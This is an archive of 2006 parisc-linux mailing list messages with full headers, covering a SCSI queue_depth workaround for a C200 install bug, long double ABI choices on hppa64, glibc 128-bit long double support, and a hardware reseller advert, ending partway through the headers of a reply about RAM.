X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: rCOXYyEMeSEkV76WZHQhaXN1IGRvb8CN
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23411

On Sat, Feb 04, 2006 at 06:52:47PM +0900, yong Jung wrote:
> Hellow debian lovers,
> .
> Could you give me a favor to check my install problem
> on C200 machine ?

Hi Yong.
You are the 3rd person in the past week or so to report this problem. :)
It was fixed here:
| revision 1.18
| date: 2005/03/06 23:48:39;  author: grundler;  state: Exp;  lines: +34 -32
| branches:  1.18.2;  1.18.4;
| 
| 2.6.11-pa2 - ditch ccio_mem_ratio. "Ported" from similar change to sba driver.

I'm told debian-31r1a-hppa-netinst.iso uses 2.6.8.1.

Workaround is to reduce the number of outstanding scsi commands
and thus reduce the amount of total I/O "in flight".

You can do this by setting "queue_depth" to 1.
Offhand I only know about /sys entries:
	find /sys -name queue_depth 

and then "echo 1 > /sys/devices/...../queue_depth"

Or can someone remind me how to globally do that from the command line?
google isn't finding it for me today.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] long double on hppa64-*-linux*
Date: Sat, 4 Feb 2006 17:45:07 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20060205004507.GB2225@colo.lackof.org>
References: <200602042341.k14Nf0P9005946@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624003 18101 80.91.229.3 (22 Nov 2014 02:40:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:03 +0000 (UTC)
Cc: carlos@systemhalted.org,
 tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Feb 2006 00:35:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx071) with SMTP; 05 Feb 2006 01:35:26 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 438747D779;
	Sat,  4 Feb 2006 17:35:23 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26817-08; Sat, 4 Feb 2006 17:35:23 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 96E787D77B;
	Sat,  4 Feb 2006 17:35:22 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ACB3E7D778
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Feb 2006 17:35:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26787-05 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 4 Feb 2006 17:35:19 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 120DE7D775
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Feb 2006 17:35:19 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 2547436001F;
	Sat,  4 Feb 2006 17:45:08 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14662-01; Sat, 4 Feb 2006 17:45:07 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id A4595360014; Sat,  4 Feb 2006 17:45:07 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200602042341.k14Nf0P9005946@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: GS2XY3cceSEkNb6WZHQhaXN1IGRvb4BR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23412

On Sat, Feb 04, 2006 at 06:41:00PM -0500, John David Anglin wrote:
> I noticed another long double issue.  Long double is defined to be 128
> bits on all 64-bit targets on the PA.  I believe that it should be 128 bits
> only on hpux.
> 
> I would like to change the long double default on PA64t o 64 bits as there
> isn't any hardware support for the 128-bit type, and we currently don't
> have software support for 128-bit long doubles implemented.  I can't see
> this affecting anything, but it's another ABI change and I thought I should
> ask.

I'm ok with it. The only downside I can think of is hypothetical:
supporting HPUX binaries with "long double" on parisc-linux hmight get
interesting should any misaligned trap handlers or syscalls need to deal
with long double.

hth,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] long double on hppa64-*-linux*
Date: Sat, 4 Feb 2006 22:42:31 -0500 (EST)
Lines: 39
Approved: news@gmane.org
Message-ID: <200602050342.k153gVrL024031@hiauly1.hia.nrc.ca>
References: <20060205004507.GB2225@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624004 18105 80.91.229.3 (22 Nov 2014 02:40:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:04 +0000 (UTC)
Cc: carlos@systemhalted.org,
 tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Feb 2006 04:09:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx090) with SMTP; 05 Feb 2006 05:09:20 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 538C97D78A;
	Sat,  4 Feb 2006 21:09:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27844-05; Sat, 4 Feb 2006 21:09:14 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7BF5B7D784;
	Sat,  4 Feb 2006 21:09:13 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1297B7D782
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Feb 2006 21:09:08 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27943-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 4 Feb 2006 21:09:07 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 3A4C57D781
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Feb 2006 21:09:07 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	k153gWil024033; Sat, 4 Feb 2006 22:42:33 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id k153gVrL024031;
	Sat, 4 Feb 2006 22:42:31 -0500 (EST)
In-Reply-To: <20060205004507.GB2225@colo.lackof.org> from "Grant Grundler" at
	Feb 4, 2006 05:45:07 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Jx+XYw92eSEkKL6WZHQhaXN1IGRvbwDi
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23413

> I'm ok with it. The only downside I can think of is hypothetical:
> supporting HPUX binaries with "long double" on parisc-linux hmight get
> interesting should any misaligned trap handlers or syscalls need to deal
> with long double.

The HPUX support uses various _U routines from libc.  I'm not sure
if any kernel support is involved.  Possibly, some support is needed
to handle exceptions.  This is all vague since as far as I know the
_U routines are not publicly documented.  I don't believe there is kernel
support for the quad instructions in the PA 2.0 arch.  There's no
math library support for long doubles in HPUX.  As it seems HP won't
release the _U code, only static HPUX binaries using long double would
have any chance of running on parisc-linux.  So, I'm not sure being
able to run HPUX binaries with "long double" would ever prove particularly
useful.

As things currently stand on hppa64-*-linux*, any arithmetic involving
long doubles results in a call to a libgcc stub that calls abort.

It looks as glibc 2.4 potentially provides 128-bit long double support
as an option.  See patch to make -mlong-double-128 the default:
http://gcc.gnu.org/ml/gcc-patches/2006-01/msg01958.html
The other option is the hardware support -mlong-double-64.

I'm fairly sure that the -mlong-double-128 format (except for a few
architectures) is similar to the rs6000 darwin long double format
(i.e., it's not compatible with the PA 2.0 format, IEEE quad).  It
might not be that much work to copy the rs6000 implementation.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [RFC] Updated glibc 2.3.5-8.1
Date: Fri, 3 Feb 2006 19:11:26 -0500 (EST)
Lines: 23
Approved: news@gmane.org
Message-ID: <200602040011.k140BSax027502@hiauly1.hia.nrc.ca>
References: <20060108030342.GA17559@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624004 18110 80.91.229.3 (22 Nov 2014 02:40:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Feb 2006 00:16:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx043) with SMTP; 04 Feb 2006 01:16:43 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0BDFF7D714;
	Fri,  3 Feb 2006 17:16:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15214-09; Fri, 3 Feb 2006 17:16:34 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4D1467D6AE;
	Fri,  3 Feb 2006 17:16:34 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5679D7D691
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Feb 2006 17:16:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15274-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 3 Feb 2006 17:16:28 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 9C8B97D66C
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Feb 2006 17:16:28 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	k140GQil027535; Fri, 3 Feb 2006 19:16:27 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id k140BSax027502;
	Fri, 3 Feb 2006 19:11:28 -0500 (EST)
In-Reply-To: <20060108030342.GA17559@baldric.uwo.ca> from "Carlos O'Donell" at
	Jan 7, 2006 10:03:43 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: O5eRY0greSEkWb6WZHQhaXN1IGRvb8Dx
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23414

Hi Carlos,

> - Removed implied routines for 128-bit long double, default
>   should be whatever gcc uses for long double (DFmode).

There have been a continual stream of patches on the GCC list trying
to fix the 128-bit long-double support for powerpc, etc.  This seems
to be some sort of requirement for glibc 2.4.  The arches supported
by Red Hat are trying to get this into GCC 4.1.

Is this something we need to do right now?  See comment here:
http://gcc.gnu.org/ml/gcc/2006-02/msg00089.html.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jesse Dougherty" <jesse@cypress-tech.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP 9000 and 3000 Servers, Workstations,
	& Related Hardware
Date: Mon, 6 Feb 2006 13:32:34 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <HKEFLGMDJBKLLLJOPMELOEGAEKAA.jesse@cypress-tech.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624004 18115 80.91.229.3 (22 Nov 2014 02:40:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:04 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Feb 2006 18:32:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx017) with SMTP; 06 Feb 2006 19:32:40 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 78FB47D6FA;
	Mon,  6 Feb 2006 11:32:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11537-04; Mon, 6 Feb 2006 11:32:35 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CCADE7D6FB;
	Mon,  6 Feb 2006 11:32:34 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DEFD97D6F3
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Feb 2006 11:32:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11469-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 6 Feb 2006 11:32:29 -0700 (MST)
Original-Received: from cypress-tech.com (unknown [72.236.117.178])
	by free.linux.hp.com (Postfix) with SMTP id D73517D6EA
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Feb 2006 11:32:28 -0700 (MST)
Original-Received: (qmail 15682 invoked from network); 6 Feb 2006 18:08:03 -0000
X-Virus-Scanned: by amavis-ng-0.1.6.4-03dc on cypress2.cypress-tech.com
Original-Received: from pc-00111.cypress-tech.com (HELO jessed) (192.168.1.111)
	by cypress2.cypress-tech.com (192.168.1.1) with ESMTP;
	06 Feb 2006 18:08:02 -0000
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Importance: Normal
X-Spam-Status: No, hits=-5.7 required=11.0 tests=MSGID_GOOD_EXCHANGE
	version=2.53
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: H/OVY48ZeSEkY76WZHQhaXN1IGRvb8A4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23415

Cypress Technology purchases all HP 9000 HP-UX related hardware.

Feel free to call or email if you have any HP hardware that you wish to sell
or to get a market value of what your equipment is worth.


Thanks for your time

Jesse Dougherty
Cypress Technology, Inc
Re-Sellers of HP 3000/9000 products
8565A Somerset Drive, Largo, Florida 33773
727-557-0911 / fax 727-557-0121
jesse@cypress-tech.com
www.cypress-tech.com

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Walker <ajwalker@broadpark.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RAM for C200 and J5600
Date: Wed, 08 Feb 2006 10:49:07 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <2780df10f34a59915f7718b92f24ee10@localhost>
References: <20060208063323.GT19232@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416624005 18125 80.91.229.3 (22 Nov 2014 02:40:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Feb 2006 08:51:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx089) with SMTP; 08 Feb 2006 09:51:06 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CAD3C7D6AB;
	Wed,  8 Feb 2006 01:51:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26214-03; Wed, 8 Feb 2006 01:51:02 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A83DA7D6AC;
	Wed,  8 Feb 2006 01:51:01 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 006C97D6A8
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  8 Feb 2006 01:50:59 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26081-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 8 Feb 2006 01:50:58 -0700 (MST)
Original-Received: from osl1smout1.broadpark.no (osl1smout1.broadpark.no [80.202.4.58])
	by free.linux.hp.com (Postfix) with ESMTP id 43CE27D6A5
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  8 Feb 2006 01:50:58 -0700 (MST)
Original-Received: from osl1sminn1.broadpark.no ([80.202.4.59])
	by osl1smout1.broadpark.no
	(Sun Java System Messaging Server 6.1 HotFix 0.05 (built Oct 21 2004))
	with ESMTP id <0IUD009MU269J300@osl1smout1.broadpark.no> for
	parisc-linux@lists.parisc-linux.org;
	Wed, 08 Feb 2006 09:56:33 +0100 (CET)
Original-Received: from tolstoy.puszczka.com ([80.203.39.47]) by osl1sminn1.broadpark.no
	(Sun Java System Messaging Server 6.1 HotFix 0.05 (built Oct 21 2004))
	with ESMTP id <0IUD007D120XUB50@osl1sminn1.broadpark.no> for
	parisc-linux@lists.parisc-linux.org;
	Wed, 08 Feb 2006 09:53:21 +0100 (CET)
Original-Received: by tolstoy.puszczka.com (Postfix, from userid 81)	id DC5831358A; Wed,
	08 Feb 2006 10:49:07 +0100 (CET)
In-reply-to: <20060208063323.GT19232@lug-owl.de>
X-Sender: ajwalker@broadpark.no
